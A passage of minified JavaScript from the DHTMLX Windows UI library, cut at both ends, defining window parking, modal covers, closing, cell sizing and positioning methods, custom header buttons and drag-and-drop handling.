=false;this.w[c].win.className=\"dhxwin_inactive\";this._winMakeActive(null,true)}this._callMainEvent(\"onHide\",c)};dhtmlXWindows.prototype._winPark=function(e,a){if(this.w[e].conf.allow_park==false){return}if(this.w[e].conf.header==false){return}var c=this.w[e];if(a==true&&this.conf.tr.prop!==false){c.win.style[this.conf.tr.prop]=this.conf.tr[c.conf.parked?\"height_open\":\"height_close\"];if(!c.conf.tr_ev){c.win.addEventListener(this.conf.tr.ev,this._winOnParkTrans,false);c.conf.tr_ev=true}}if(c.conf.parked){c.hdr.className=String(c.hdr.className).replace(/\\s{1,}dhxwin_hdr_parked/gi,\"\");c.hdr.style.zIndex=0;c.conf.parked=false;c.conf.tr_mode=\"park\";this._winCellSetOpacity(e,\"open\",a);this._winSetSize(e,c.conf.w,c.conf.lastPH,(a==true&&this.conf.tr.prop!==false));if(!(a==true&&this.conf.tr.prop!==false)){this._callMainEvent(\"onParkDown\",e);if(c.conf.keep_in_vp){this._winAdjustPosition(e,c.conf.x,c.conf.y)}}if(window.dhx4.isIE8==true&&this.conf.tr.prop==false&&c.cell.cell.className.match(/dhxwin_parked/)!=null){c.cell.cell.className=c.cell.cell.className.replace(/\\s{0,}dhxwin_parked/gi,\"\")}}else{c.conf.lastPH=c.conf.h;c.hdr.className+=\" dhxwin_hdr_parked\";if(a==false||this.conf.tr.prop==false){c.hdr.style.zIndex=3}c.conf.parked=true;c.conf.tr_mode=\"park\";this._winCellSetOpacity(e,\"close\",a);this._winSetSize(e,c.conf.w,c.hdr.offsetHeight+this.conf.ofs_h,(a==true&&this.conf.tr.prop!==false));if(!(a==true&&this.conf.tr.prop!==false)){this._callMainEvent(\"onParkUp\",e)}if(window.dhx4.isIE8==true&&this.conf.tr.prop==false&&c.cell.cell.className.match(/dhxwin_parked/)==null){c.cell.cell.className+=\" dhxwin_parked\"}}c=null};dhtmlXWindows.prototype._winCellSetOpacity=function(m,l,e,h){var c=this.w[m].cell;for(var g in c.conf.idx){if({pr1:true,pr2:true}[g]!=true){if(e==true&&this.conf.tr.prop!=false){c.cell.childNodes[c.conf.idx[g]].style[this.conf.tr.prop]=this.conf.tr[\"op_\"+l]}c.cell.childNodes[c.conf.idx[g]].style.opacity=this.conf.tr[\"op_v_\"+l]}}c=null};dhtmlXWindows.prototype._winCellClearOpacity=function(g){var c=this.w[g].cell;for(var e in c.conf.idx){if({pr1:true,pr2:true}[e]!=true){if(this.conf.tr.prop!=false){c.cell.childNodes[c.conf.idx[e]].style[this.conf.tr.prop]=\"\"}}}c=null};dhtmlXWindows.prototype._winStick=function(c,a){if(typeof(a)!=\"undefined\"&&this.w[c].conf.sticked==a){return}this.w[c].conf.sticked=!this.w[c].conf.sticked;this.w[c].b.stick.setCss(this.w[c].conf.sticked?\"sticked\":\"stick\");this._winMakeActive(this.conf.last_active,true);if(this.w[c].conf.sticked){this._callMainEvent(\"onStick\",c)}else{this._callMainEvent(\"onUnStick\",c)}};dhtmlXWindows.prototype._winClose=function(g){if(this._callMainEvent(\"onClose\",g)!==true&&this.conf.unloading!=true){return}var e=this.w[g];if(e.conf.fs_mode){e.cell.setToFullScreen(false)}if(e.conf.modal){this._winSetModal(g,false)}window.dhx4.zim.clear(e.conf.z_id);if(this.cm!=null&&this.cm.icon[g]!=null){this._detachContextMenu(\"icon\",g,null)}if(typeof(window.addEventListener)==\"function\"){e.win.removeEventListener(\"mousedown\",this._winOnMouseDown,false);e.win.removeEventListener(\"mouseup\",this._winOnMouseDown,false);if(this.conf.dblclick_ev){e.win.removeEventListener(\"dblclick\",this._winOnMouseDown,false)}if(this.conf.dnd_enabled==true&&window.dhx4.dnd.evs.start!=null){e.win.removeEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);if(window.dhx4.dnd.p_en!=true){e.win.removeEventListener(window.dhx4.dnd.evs.start,this._winOnMouseDown,false);e.win.removeEventListener(window.dhx4.dnd.evs.end,this._winOnMouseDown,false)}}}else{e.win.detachEvent(\"onmousedown\",this._winOnMouseDown);e.win.detachEvent(\"onmouseup\",this._winOnMouseDown);if(this.conf.dblclick_ev){e.win.attachEvent(\"ondblclick\",this._winOnMouseDown)}}for(var c in e.b){this._winRemoveButton(g,c,true)}e.b=null;e.cell._unload();e.cell=null;e.brd.parentNode.removeChild(e.brd);e.brd=null;if(e.fr_cover!=null){e.fr_cover.parentNode.removeChild(e.fr_cover);e.fr_cover=null}if(e.fr_m_cover!=null){e.fr_m_cover.parentNode.removeChild(e.fr_m_cover);e.fr_m_cover=null}e.hdr._isWinHdr=true;e.hdr.firstChild._isWinIcon=true;e.hdr.onselectstart=null;e.hdr.parentNode.removeChild(e.hdr);e.hdr=null;for(var c in e.conf){e.conf[c]=null;delete e.conf[c]}e.conf=null;e.win._idd=null;e.win._isWindow=null;e.win.parentNode.removeChild(e.win);e.win=null;e=null;this.w[g]=null;delete this.w[g];if(!this.conf.unloading){this._winMakeActive(null,true)}};dhtmlXWindows.prototype._winSetModal=function(m,g,l){if(this.w[m].conf.modal==g){return}if(typeof(l)==\"undefined\"){l=true}var e=this.w[m];if(g==true&&e.conf.modal==false){if(this.conf.last_modal!=null){this._winSetModal(this.conf.last_modal,false,false)}if(this.mcover==null){var h=document.createElement(\"DIV\");h.className=\"dhxwins_mcover\";this.vp.insertBefore(h,e.fr_m_cover||e.win);this.mcover={d:h};if(this.conf.fr_cover){this.mcover.f=document.createElement(\"IFRAME\");this.mcover.f.className=\"dhxwins_mcover\";this.mcover.f.border=0;this.mcover.f.frameBorder=0;this.vp.insertBefore(this.mcover.f,h)}h=null}else{if(this.mcover.d.nextSibling!=(e.fr_m_cover||e.win)){this.vp.insertBefore(this.mcover.d,e.fr_m_cover||e.win);if(this.mcover.f!=null){this.vp.insertBefore(this.mcover.f,this.mcover.d)}}}e.conf.modal=true;this.conf.last_modal=m;this._winMakeActive(m,true)}else{if(g==false&&e.conf.modal==true){e.conf.modal=false;this.conf.last_modal=null;if(l&&this.mcover!=null){for(var c in this.mcover){this.vp.removeChild(this.mcover[c]);this.mcover[c]=null}this.mcover=null}}}e=null};dhtmlXWindows.prototype._winMouseDownHandler=function(g,c){var a=g.target||g.srcElement;if(g.button>=2){return}if(c.mode==\"button\"){if(c.press_type==\"mousedown\"){this.conf.button_last=c.button_name}else{if((c.press_type==\"mouseup\"&&c.button_name==this.conf.button_last)||c.press_type==\"MSPointerDown\"||c.press_type==\"pointerdown\"){this.conf.button_last=null;if(this._winButtonClick(c.id,c.button_name,g)!==true){return}}}}if((c.press_type==\"mousedown\"||c.press_type==\"dblclick\")&&c.mode==\"hdr\"){this.conf.dblclick_active=false;if(this.conf.dblclick_ev==true){if(c.press_type==\"dblclick\"){this.conf.dblclick_active=true}}else{if(this.conf.dblclick_last==null){this.conf.dblclick_last=new Date().getTime();this.dblclick_id=c.id}else{var a=new Date().getTime();if(this.conf.dblclick_last+this.conf.dblclick_tm>a&&this.dblclick_id==c.id){this.conf.dblclick_active=true;this.conf.dblclick_last=null;this.dblclick_id=null}else{this.conf.dblclick_last=a;this.dblclick_id=c.id}}}if(this.conf.dblclick_active){this._winDoHeaderDblClick(c.id);return}}if(c.press_type==\"mousedown\"||(c.press_type==window.dhx4.dnd.evs.start)){this._winMakeActive(c.id)}if(c.press_type==\"touchend\"){}};dhtmlXWindows.prototype._winDoHeaderDblClick=function(a){if(this.conf.dblclick_mode==\"minmax\"){this._winMinmax(a);return}if(this.conf.dblclick_mode==\"park\"){this._winPark(a,true);return}if(typeof(this.conf.dblclick_mode)==\"function\"){this.conf.dblclick_mode.apply(window,[a]);return}if(typeof(window[this.conf.dblclick_mode])==\"function\"){window[this.conf.dblclick_mode].apply(window,[a]);return}};dhtmlXWindows.prototype._winAdjustCell=function(c){var q=this.w[c];var o=1;var n=(q.conf.header?q.hdr.offsetHeight:1);var g=q.win.clientWidth-2;var r=q.win.clientHeight-n-1;q.brd.style.left=o+\"px\";q.brd.style.top=n+\"px\";if(q.conf.brd==null){q.brd.style.width=g+\"px\";q.brd.style.height=r+\"px\";q.conf.brd={w:g-q.brd.offsetWidth,h:r-q.brd.offsetHeight}}q.brd.style.width=g+q.conf.brd.w+\"px\";q.brd.style.height=r+q.conf.brd.h+\"px\";var e=5;var a=1+e;var m=(q.conf.header?n:n+e);var h=q.brd.clientWidth;var l=q.brd.clientHeight;q.cell._setSize(a,m,h,l);q.fr_cover.style.left=a+\"px\";q.fr_cover.style.top=m+\"px\";q.fr_cover.style.width=h+\"px\";q.fr_cover.style.height=l+\"px\";q=null};dhtmlXWindows.prototype._winAdjustTitle=function(g){var a=this.w[g].hdr.childNodes[0];var e=this.w[g].hdr.childNodes[1];var c=this.w[g].hdr.childNodes[2];e.style.paddingLeft=a.offsetWidth+12+\"px\";e.style.paddingRight=c.offsetWidth+10+\"px\";e=c=a=null};dhtmlXWindows.prototype._callMainEvent=function(c,g){var a=this.w[g];if(a.cell.checkEvent(c)){var e=a.cell._callMainEvent(c,[a.cell])}else{var e=this.callEvent(c,[a.cell])}a=null;return e};dhtmlXWindows.prototype._winInitFRM=function(e){if(this.conf.fr_cover!=true){return}var a=this.w[e];var c=document.createElement(\"IFRAME\");c.className=\"dhxwin_main_fr_cover\";c.border=0;c.frameBorder=0;c.style.zIndex=a.win.style.zIndex;a.win.parentNode.insertBefore(c,a.win);a.fr_m_cover=c;c=null};dhtmlXWindows.prototype._winAdjustFRMSize=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.width=a.conf.w+\"px\";a.fr_m_cover.style.height=a.conf.h+\"px\"}a=null};dhtmlXWindows.prototype._winAdjustFRMPosition=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.left=a.win.style.left;a.fr_m_cover.style.top=a.win.style.top}a=null};dhtmlXWindows.prototype._winAdjustFRMZIndex=function(c){var a=this.w[c];if(a.fr_m_cover!=null){a.fr_m_cover.style.zIndex=a.win.style.zIndex}a=null};function dhtmlXWindowsCell(h,g){dhtmlXCellObject.apply(this,[h,\"_wins\"]);this.wins=g;this.cell._winId=h;this.conf.skin=this.wins.conf.skin;this.attachEvent(\"_onCellUnload\",function(){if(this._unloadResize){this._unloadResize()}window.dhx4._eventable(this.cell,\"clear\");this.cell._winId=null;this.wins=null;this.setText=null;this.getText=null;this.allowMove=null;this.denyMove=null;this.isMovable=null;this.allowResize=null;this.denyResize=null;this.isResizable=null;this.maximize=null;this.minimize=null;this.isMaximized=null;this.setPosition=null;this.getPosition=null;this.adjustPosition=null;this.park=null;this.isParked=null;this.allowPark=null;this.denyPark=null;this.isParkable=null;this.show=null;this.hide=null;this.isHidden=null;this.stick=null;this.unstick=null;this.isSticked=null;this.setDimension=null;this.getDimension=null;this.setMinDimension=null;this.getMinDimension=null;this.setMaxDimension=null;this.getMaxDimension=null;this.keepInViewport=null;this.center=null;this.centerOnScreen=null;this.bringToTop=null;this.bringToBottom=null;this.isOnTop=null;this.isOnBottom=null;this.showHeader=null;this.hideHeader=null;this.setModal=null;this.isModal=null;this.close=null;this._adjustByCont=null;this.button=null;this.addUserButton=null;this.removeUserButton=null;e=null});this.attachEvent(\"_onContentLoaded\",function(){this.wins._callMainEvent(\"onContentLoaded\",this._idd)});this.attachEvent(\"_onContentMouseDown\",function(l,a){this.wins.callEvent(\"_winMouseDown\",[a,{id:l,mode:\"win\"}])});this._callMainEvent=function(l,a){return this.callEvent(l,a)};this.conf.tr={};for(var c in this.wins.conf.tr){this.conf.tr[c]=this.wins.conf.tr[c]}if(this.conf.tr.prop!=false){}if(this._initResize){this._initResize()}window.dhx4._eventable(this.cell);var e=this;this.cell.attachEvent(\"_setCellSize\",function(a,n){var l=e.wins.w[this._winId].conf.w-e.conf.size.w;var m=e.wins.w[this._winId].conf.h-e.conf.size.h;e.setDimension(a+l,n+m)});return this}dhtmlXWindowsCell.prototype=new dhtmlXCellObject();dhtmlXWindowsCell.prototype.setText=function(a){this.wins.w[this._idd].conf.text=a;this.wins.w[this._idd].hdr.childNodes[1].firstChild.innerHTML=a};dhtmlXWindowsCell.prototype.getText=function(){return this.wins.w[this._idd].conf.text};dhtmlXWindowsCell.prototype.allowMove=function(){this.wins.w[this._idd].conf.allow_move=true};dhtmlXWindowsCell.prototype.denyMove=function(){this.wins.w[this._idd].conf.allow_move=false};dhtmlXWindowsCell.prototype.isMovable=function(){return(this.wins.w[this._idd].conf.allow_move==true)};dhtmlXWindowsCell.prototype.allowResize=function(){this.wins.w[this._idd].conf.allow_resize=true;this.wins.w[this._idd].b.minmax.enable()};dhtmlXWindowsCell.prototype.denyResize=function(){this.wins.w[this._idd].conf.allow_resize=false;this.wins.w[this._idd].b.minmax.disable()};dhtmlXWindowsCell.prototype.isResizable=function(){return(this.wins.w[this._idd].conf.allow_resize==true)};dhtmlXWindowsCell.prototype.maximize=function(){this.wins._winMinmax(this._idd,true)};dhtmlXWindowsCell.prototype.minimize=function(){this.wins._winMinmax(this._idd,false)};dhtmlXWindowsCell.prototype.isMaximized=function(){return(this.wins.w[this._idd].conf.maxed==true)};dhtmlXWindowsCell.prototype.setPosition=function(a,c){this.wins._winSetPosition(this._idd,a,c)};dhtmlXWindowsCell.prototype.getPosition=function(){var a=this.wins.w[this._idd];var c=[a.conf.x,a.conf.y];a=null;return c};dhtmlXWindowsCell.prototype.adjustPosition=function(){this.wins._winAdjustPosition(this._idd)};dhtmlXWindowsCell.prototype.park=function(){this.wins._winPark(this._idd,true)};dhtmlXWindowsCell.prototype.isParked=function(){return(this.wins.w[this._idd].conf.parked==true)};dhtmlXWindowsCell.prototype.allowPark=function(){this.wins.w[this._idd].conf.allow_park=true;this.wins.w[this._idd].b.park.enable()};dhtmlXWindowsCell.prototype.denyPark=function(){this.wins.w[this._idd].conf.allow_park=false;this.wins.w[this._idd].b.park.disable()};dhtmlXWindowsCell.prototype.isParkable=function(){return(this.wins.w[this._idd].conf.allow_park==true)};dhtmlXWindowsCell.prototype.show=function(a){this.wins._winShow(this._idd,window.dhx4.s2b(a))};dhtmlXWindowsCell.prototype.hide=function(){this.wins._winHide(this._idd)};dhtmlXWindowsCell.prototype.isHidden=function(){return(this.wins.w[this._idd].conf.visible!=true)};dhtmlXWindowsCell.prototype.stick=function(){this.wins._winStick(this._idd,true)};dhtmlXWindowsCell.prototype.unstick=function(){this.wins._winStick(this._idd,false)};dhtmlXWindowsCell.prototype.isSticked=function(){return(this.wins.w[this._idd].conf.sticked==true)};dhtmlXWindowsCell.prototype.setDimension=function(e,a){var c=this.wins.w[this._idd];if(c.conf.parked){this.wins._winPark(this._idd,false)}if(c.conf.maxed){if(e!=null){c.conf.lastMW=e}if(a!=null){c.conf.lastMH=a}this.wins._winMinmax(this._idd)}else{this.wins._winSetSize(this._idd,e,a,false,true)}c=null};dhtmlXWindowsCell.prototype.getDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.w,a.conf.h];a=null;return c};dhtmlXWindowsCell.prototype.setMinDimension=function(e,a){var c=this.wins.w[this._idd];c.conf.min_w=e;c.conf.min_h=a;this.wins._winSetSize(this._idd,c.conf.w,c.conf.h);c=null};dhtmlXWindowsCell.prototype.getMinDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.min_w,a.conf.min_h];a=null;return c};dhtmlXWindowsCell.prototype.setMaxDimension=function(e,a){var c=this.wins.w[this._idd];c.conf.max_w=e;c.conf.max_h=a;this.wins._winSetSize(this._idd,c.conf.w,c.conf.h);c=null};dhtmlXWindowsCell.prototype.getMaxDimension=function(){var a=this.wins.w[this._idd];var c=[a.conf.max_w,a.conf.max_h];a=null;return c};dhtmlXWindowsCell.prototype.keepInViewport=function(a){this.wins.w[this._idd].conf.keep_in_vp=window.dhx4.s2b(a)};dhtmlXWindowsCell.prototype.center=function(){var e=this.wins.vp;var c=this.wins.w[this._idd];var a=Math.round((e.clientWidth-c.conf.w)/2);var g=Math.round((e.clientHeight-c.conf.h)/2);this.wins._winSetPosition(this._idd,a,g);e=c=null};dhtmlXWindowsCell.prototype.centerOnScreen=function(){var c=this.wins.w[this._idd];var l=window.dhx4.screenDim();var h=window.dhx4.absLeft(this.wins.vp);var g=window.dhx4.absTop(this.wins.vp);var e=this.wins.vp.parentNode;while(e!=null){if(e.scrollLeft){h=h-e.scrollLeft}if(e.scrollTop){g=g-e.scrollTop}e=e.parentNode}var a=Math.round((l.right-l.left-c.conf.w)/2);var m=Math.round((l.bottom-l.top-c.conf.h)/2);this.wins._winAdjustPosition(this._idd,a-h,m-g);d=c=null};dhtmlXWindowsCell.prototype.bringToTop=function(){this.wins._winMakeActive(this._idd,true)};dhtmlXWindowsCell.prototype.bringToBottom=function(){var a=(this.wins.w[this._idd].conf.actv?null:this.wins.conf.last_active);window.dhx4.zim.clear(this.wins.w[this._idd].conf.z_id);this.wins.w[this._idd].win.style.zIndex=0;this.wins._winMakeActive(a,true)};dhtmlXWindowsCell.prototype.isOnTop=function(){return(this.wins.w[this._idd].conf.actv==true)};dhtmlXWindowsCell.prototype.isOnBottom=function(){var e={id:null,z:+Infinity};for(var c in this.wins.w){if(this.wins.w[c].conf.visible&&this.wins.w[c].win.style.zIndex<e.z){e.id=c;e.z=this.wins.w[c].win.style.zIndex}}return(e.id==this._idd)};dhtmlXWindowsCell.prototype.showHeader=function(){var a=this.wins.w[this._idd];if(a.conf.header==false){a.hdr.className=String(a.hdr.className).replace(/\\s{0,}dhxwin_hdr_hidden/gi,\"\");a.brd.className=String(a.brd.className).replace(/\\s{0,}dhxwin_hdr_hidden/gi,\"\");this.conf.cells_cont=null;a.conf.brd=null;a.conf.header=true;this.wins._winAdjustCell(this._idd)}a=null};dhtmlXWindowsCell.prototype.hideHeader=function(){var a=this.wins.w[this._idd];if(a.conf.header==true){if(a.conf.parked){this.wins._winPark(this._idd,false)}a.hdr.className+=\" dhxwin_hdr_hidden\";a.brd.className+=\" dhxwin_hdr_hidden\";this.conf.cells_cont=null;a.conf.brd=null;a.conf.header=false;this.wins._winAdjustCell(this._idd)}a=null};dhtmlXWindowsCell.prototype.setModal=function(a){this.wins._winSetModal(this._idd,window.dhx4.s2b(a))};dhtmlXWindowsCell.prototype.isModal=function(){return(this.wins.w[this._idd].conf.modal==true)};dhtmlXWindowsCell.prototype._adjustByCont=function(a,c){a+=this.wins.w[this._idd].conf.w-this.conf.size.w;c+=this.wins.w[this._idd].conf.h-this.conf.size.h;this.wins._winSetSize(this._idd,a,c)};dhtmlXWindowsCell.prototype.close=function(){this.wins._winClose(this._idd)};dhtmlXWindowsCell.prototype.setIconCss=function(a){this.wins.w[this._idd].hdr.firstChild.className=\"dhxwin_icon \"+a;this.wins._winAdjustTitle(this._idd)};dhtmlXWindowsCell.prototype.setToFullScreen=function(c){c=window.dhx4.s2b(c);var a=this.wins.w[this._idd];if(a.conf.fs_mode==c){a=null;return}if(this.wins.fsn==null){this.wins.fsn=document.createElement(\"DIV\");this.wins.fsn.className=this.wins.vp.className+\" dhxwins_vp_fs\";document.body.appendChild(this.wins.fsn)}if(c){this.wins.fsn.appendChild(a.win);this.maximize();this.hideHeader()}else{this.wins.vp.appendChild(a.win);this.minimize();this.showHeader();if(this.wins.fsn.childNodes.length==0){this.wins.fsn.parentNode.removeChild(this.wins.fsn);this.wins.fsn=null}}a.conf.fs_mode=c;a=null};dhtmlXWindowsCell.prototype.button=function(a){if(a==\"minmax1\"||a==\"minmax2\"){a=\"minmax\"}return this.wins.w[this._idd].b[a]};dhtmlXWindowsCell.prototype.addUserButton=function(m,l,e){var a=new dhtmlXWindowsButton(this.wins,this._idd,m,e,true);var g=null;var c=this.wins.w[this._idd].hdr.lastChild;if(isNaN(l)){l=0}else{if(l<0){l=0}}if(c.childNodes[l]!=null){g=c.childNodes[l]}if(g!=null){c.insertBefore(a.button,g)}else{c.appendChild(a.button)}this.wins.w[this._idd].b[m]=a;a=g=c=null;this.wins._winAdjustTitle(this._idd)};dhtmlXWindowsCell.prototype.removeUserButton=function(a){if(this.wins.w[this._idd].b[a]==null||this.wins.w[this._idd].b[a].conf.custom!=true){return}this.wins._winRemoveButton(this._idd,a)};window.dhtmlXWindowsButton=function(h,c,a,g,e){this.conf={wins:h,winId:c,name:a,enabled:true,visible:true,custom:true};this.button=document.createElement(\"DIV\");this.button._buttonName=a;this.button.title=g;this.enable=function(){this.conf.enabled=true;this.setCss(this.conf.css)};this.disable=function(){this.conf.enabled=false;this.setCss(this.conf.css)};this.isEnabled=function(){return(this.conf.enabled==true)};this.show=function(){this.button.style.display=\"\";this.conf.visible=true;this.conf.wins._winAdjustTitle(this.conf.winId)};this.hide=function(){this.button.style.display=\"none\";this.conf.visible=false;this.conf.wins._winAdjustTitle(this.conf.winId)};this.isHidden=function(){return(this.conf.visible==false)};this.setCss=function(m){this.conf.css=m;var l=(this.conf.enabled?\"\":\"_dis\");this.button.className=\"dhxwin_button\"+l+\" dhxwin_button_\"+this.conf.css+l};this._doOnClick=function(l){return this.callEvent(\"onClick\",[this.conf.wins.w[this.conf.winId].cell,this])};this.unload=function(l){dhx4._eventable(this,\"clear\");this.button._buttonName=null;this.button.parentNode.removeChild(this.button);if(this.conf.wins.cm!=null&&this.conf.wins.cm.button[this.conf.winId]!=null&&this.conf.wins.cm.button[this.conf.winId][this.conf.name]!=null){this.conf.wins._detachContextMenu(\"button\",this.conf.winId,this.conf.name)}this.button=null;this.enable=null;this.disable=null;this.isEnabled=null;this.show=null;this.hide=null;this.isHidden=null;this.setCss=null;this.unload=null;if(l!=true){this.conf.wins._winAdjustTitle(this.conf.winId)}this.conf.wins=null;this.conf.winId=null;this.conf=null};this.setCss(a);dhx4._eventable(this);return this};dhtmlXWindows.prototype._winButtonClick=function(e,a,c){if(!this.w[e].b[a].isEnabled()){return true}if(this.w[e].b[a]._doOnClick()!==true){return}if(a==\"help\"){this._callMainEvent(\"onHelp\",e)}if(a==\"park\"){this._winPark(e,true)}if(a==\"minmax\"){this._winMinmax(e)}if(a==\"stick\"){this._winStick(e);return false}if(a==\"close\"){this._winClose(e);return false}return true};dhtmlXWindows.prototype._winRemoveButton=function(e,a,c){this.w[e].b[a].unload(c);this.w[e].b[a]=null;delete this.w[e].b[a]};dhtmlXWindows.prototype._dndInitModule=function(){var a=this;this.conf.dnd_enabled=true;this.conf.dnd_tm=null;this.conf.dnd_time=0;this._dndOnMouseDown=function(h,l){if(a.conf.dblclick_active){return}if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}if(a._callMainEvent(\"onBeforeMoveStart\",l)!==true){return}a.conf.dnd={id:l,x:a._dndPos(h,\"X\"),y:a._dndPos(h,\"Y\"),ready:true,css:false,css_touch:false,css_vp:false,tr:null,mode:\"def\",moved:false,prevent:false};if(a.w[l].conf.keep_in_vp){a.conf.dnd.minX=0;a.conf.dnd.maxX=a.vp.clientWidth-a.w[l].conf.w;a.conf.dnd.minY=0;a.conf.dnd.maxY=a.vp.clientHeight-a.w[l].conf.h}else{a.conf.dnd.minX=-a.w[l].conf.w+a.conf.vp_pos_ofs;a.conf.dnd.maxX=a.vp.clientWidth-a.conf.vp_pos_ofs;a.conf.dnd.minY=0;a.conf.dnd.maxY=a.vp.clientHeight-a.conf.vp_pos_ofs}var c=[\"MozTransform\",\"WebkitTransform\",\"OTransform\",\"msTransform\",\"transform\"];for(var g=0;g<c.length;g++){if(document.documentElement.style[c[g]]!=null&&a.conf.dnd.tr==null){a.conf.dnd.tr=c[g];a.conf.dnd.mode=\"tr\"}}if(a.conf.dnd.mode==\"tr\"){a.w[l].win.style[a.conf.dnd.tr]=\"translate(0px,0px)\"}if(window.dhx4.dnd._mTouch(h)==false&&h.type==window.dhx4.dnd.evs.start){if(a.conf.dnd.css_touch==false){a.w[l].win.className+=\" dhxwin_dnd_touch\";a.conf.dnd.css_touch=true}if(a.conf.dnd.css_vp==false){a.vp.className+=\" dhxwins_vp_dnd\";a.conf.dnd.css_vp=true}}else{a._dndInitEvents()}};this._dndOnMouseMove=function(l){l=l||event;var h=a.conf.dnd;var c=a._dndPos(l,\"X\")-h.x;var m=a._dndPos(l,\"Y\")-h.y;if(l.type==window.dhx4.dnd.evs.move){if(h.moved!=true&&(Math.abs(c)>20||Math.abs(m)>20)){if(a.conf.dnd_tm!=null){window.clearTimeout(a.conf.dnd_tm);a.conf.dnd_tm=null}window.removeEventListener(window.dhx4.dnd.evs.start,a._dndOnMouseMove,false);return}}if(h.ready!=true){return}var g=a.w[h.id];if(l.preventDefault){l.preventDefault()}else{l.returnValue=false}if(h.css!=true){if(h.css_touch==false){g.win.className+=\" dhxwin_dnd\"}g.fr_cover.className+=\" dhxwin_fr_cover_dnd\";h.css=true}if(h.css_vp!=true){a.vp.className+=\" dhxwins_vp_dnd\";h.css_vp=true}h.newX=g.conf.x+c;h.newY=g.conf.y+m;if(h.mode==\"tr\"){h.newX=Math.min(Math.max(h.newX,h.minX),h.maxX);c=h.newX-g.conf.x;h.newY=Math.min(Math.max(h.newY,h.minY),h.maxY);m=h.newY-g.conf.y;g.win.style[h.tr]=\"translate(\"+c+\"px,\"+m+\"px)\"}else{if(h.newX<h.minX||h.newX>h.maxX){h.newX=Math.min(Math.max(h.newX,h.minX),h.maxX)}else{h.x=a._dndPos(l,\"X\")}if(h.newY<h.minY||h.newY>h.maxY){h.newY=Math.min(Math.max(h.newY,h.minY),h.maxY)}else{h.y=a._dndPos(l,\"Y\")}a._winSetPosition(h.id,h.newX,h.newY)}h.moved=true;g=h=null};this._dndOnMouseUp=function(h){h=h||event;if(a.conf.dnd!=null){var g=a.conf.dnd;var c=a.w[g.id];if(g.newX!=null){if(g.mode==\"tr\"){a._winSetPosition(g.id,g.newX,g.newY);c.win.style[g.tr]=\"translate(0px,0px)\"}}if(g.css==true){if(g.css_touch==false){c.win.className=String(c.win.className).replace(/\\s{0,}dhxwin_dnd/gi,\"\")}c.fr_cover.className=String(c.fr_cover.className).replace(/\\s{0,}dhxwin_fr_cover_dnd/gi,\"\")}if(g.css_touch==true){c.win.className=String(c.win.className).replace(/\\s{0,}dhxwin_dnd_touch/gi,\"\")}if(g.css_vp==true){a.vp.className=String(a.vp.className).replace(/\\s{0,}dhxwins_vp_dnd/gi,\"\")}a._dndUnloadEvents();if(g.moved==true){a._callMainEvent(\"onMoveFinish\",g.id)}else{a._callMainEvent(\"onMoveCancel\",g.id)}c=g=a.conf.dnd=null}if(window.dhx4.dnd.p_en==true&&h.type==window.dhx4.dnd.evs.end){window.dhx4.dnd._touchOn();window.removeEventListener(window.dhx4.dnd.evs.end,a._dndOnMouseUp,false);window.removeEventListener(window.dhx4.dnd.evs.move,a._dndOnMouseMove,false);if(a.conf.dnd_tm!=null){window.clearTimeout(a.conf.dnd_tm)}a.conf.dnd_tm=null}};this._dndOnSelectStart=function(c){c=c||event;if(c.preventDefault){c.preventDefault()}else{c.returnValue=false}return false};this._dndInitEvents=function(){if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",this._dndOnMouseMove,false);window.addEventListener(\"mouseup\",this._dndOnMouseUp,false);window.addEventListener(\"selectstart\",this._dndOnSelectStart,false)}else{document.body.attachEvent(\"onmousemove\",this._dndOnMouseMove);document.body.attachEvent(\"onmouseup\",this._dndOnMouseUp);document.body.attachEvent(\"onselectstart\",this._dndOnSelectStart)}};this._dndUnloadEvents=function(){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",this._dndOnMouseMove,false);window.removeEventListener(\"mouseup\",this._dndOnMouseUp,false);window.removeEventListener(\"selectstart\",this._dndOnSelectStart,false)}else{document.body.detachEvent(\"onmousemove\",this._dndOnMouseMove);document.body.detachEvent(\"onmouseup\",this._dndOnMouseUp);document.body.detachEvent(\"onselectstart\",this._dndOnSelectStart)}};this._dndUnloadModule=function(){this.detachEvent(this.conf.dnd_evid);this.conf.dnd_evid=null;this._dndOnMouseDown=null;this._dndOnMouseMove=null;this._dndOnMouseUp=null;this._dndOnSelectStart=null;this._dndInitEvents=null;this._dndUnloadEvents=null;this._dndInitModule=null;this._dndUnloadModule=null;a=null};this._dndPos=function(e,c){var g=e[this.conf.dnd_ev_prefix+c];if((g==null||g==0)&&e.touches!=null){g=e.touches[0][this.conf.dnd_ev_prefix+c]}return g};this.conf.dnd_evid=this.attachEvent(\"_winMouseDown\",function(g,c){if(this.w[c.id]==null||this.w[c.id].conf.allow_move!=true){return}if(g.type==window.dhx4.dnd.evs.start){if(c.mode==\"hdr\"){if(this.w[c.id].conf.maxed&&this.w[c.id].conf.max_w==null&&this.w[c.id].conf.max_h==null){return}this.conf.dnd_ev_prefix=\"page\";this.conf.dnd={x:this._dndPos(g,\"X\"),y:this._dndPos(g,\"Y\")};if(this.conf.dnd_time<1){this._dndOnMouseDown(g,c.id)}else{if(this.conf.dnd_tm!=null){window.clearTimeout(this.conf.dnd_tm)}this.conf.dnd_tm=window.setTimeout(function(){a._dndOnMouseDown(g,c.id)},this.conf.dnd_time)}if(window.dhx4.dnd.p_en==true){window.dhx4.dnd._touchOff();window.addEventListener(window.dhx4.dnd.evs.end,this._dndOnMouseUp,false)}window.addEventListener(window.dhx4.dnd.evs.move,this._dndOnMouseMove,false)}return false}if(g.type==window.dhx4.dnd.evs.end){if(this.conf.dnd_tm!=null){window.clearTimeout(this.conf.dnd_tm);this.conf.dnd_tm=null}this._dndOnMouseUp(g);window.removeEventListener(window.dhx4.dnd.evs.move,this._dndOnMouseMove,false);return false}if(g.button>=2){return}this.conf.dnd_ev_prefix=\"client\";if(!(c.mode==\"hdr\"&&g.type==\"mousedown\")){return}if(this.w[c.id].conf.maxed&&this.w[c.id].conf.max_w==null&&this.w[c.id].conf.max_h==null){return}if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}this._dndOnMouseDown(g,c.id);return 